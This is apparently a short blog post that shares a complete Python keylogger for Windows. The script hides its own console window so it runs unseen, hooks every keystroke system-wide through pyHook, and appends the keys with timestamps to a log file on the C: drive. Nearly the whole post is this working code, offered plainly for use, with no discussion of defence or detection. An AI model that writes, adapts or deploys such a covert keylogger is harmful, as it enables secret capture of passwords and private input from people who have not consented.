Geek update - Python keylogger

My simple keylogger example written in python.
Use this to log keystrokes.

#----------------------------------------

# Simple Keylogger 1.0 Wrote by nighter

# Purpose: I needed a simple and easy 

# Keylogger this was the solution.

# Revision: 1.0 

#----------------------------------------

# load all modules

import pythoncom,pyHook,datetime,win32api,win32console,win32gui,os,sys 

win = win32console.GetConsoleWindow()

# Make window invicible

win32gui.ShowWindow(win,0)

#--------------------------------------------

# Config Section

#-------------------------------------------

LOGGFILE="c:\\keylogg.txt"

#-------------------------------------------

# Function: OnKeyboardEvent

# Arguments: event

# Purpose: catch keyboardevents

#------------------------------------------

def OnKeyboardEvent(event):

	mylog_file = open(LOGGFILE,"a")



	# Problem with return and space so i handle 

	# Them seperatly.

        if event.Key == "Return":

                mylog_file.write(chr(10))

	elif event.Key == "Space":

		mylog_file.write(chr(32))

	else:

		# Convert and write all other chars.

		mylog_file.write(chr(event.Ascii))

	mylog_file.close()

	return True

#------------------------------------------

# Check that only one instance is running 

#------------------------------------------

needle=0

f = os.popen("tasklist","r")

for l in f.xreadlines():

	if "python.exe" in l: needle=needle+1



# Quit if another instance is running

if needle > 1:

	win32api.PostQuitMessage() 



# Write timestamp

mylog_file = open(LOGGFILE,"a")

n = datetime.datetime.now()

mylog_file.write(str(n))

mylog_file.write(chr(10))

mylog_file.write("--------------------------")

mylog_file.write(chr(10))

mylog_file.close()



# create a hook manager

hm = pyHook.HookManager()

# watch for all key events

hm.KeyDown = OnKeyboardEvent

# set the hook

hm.HookKeyboard()

# wait forever

pythoncom.PumpMessages()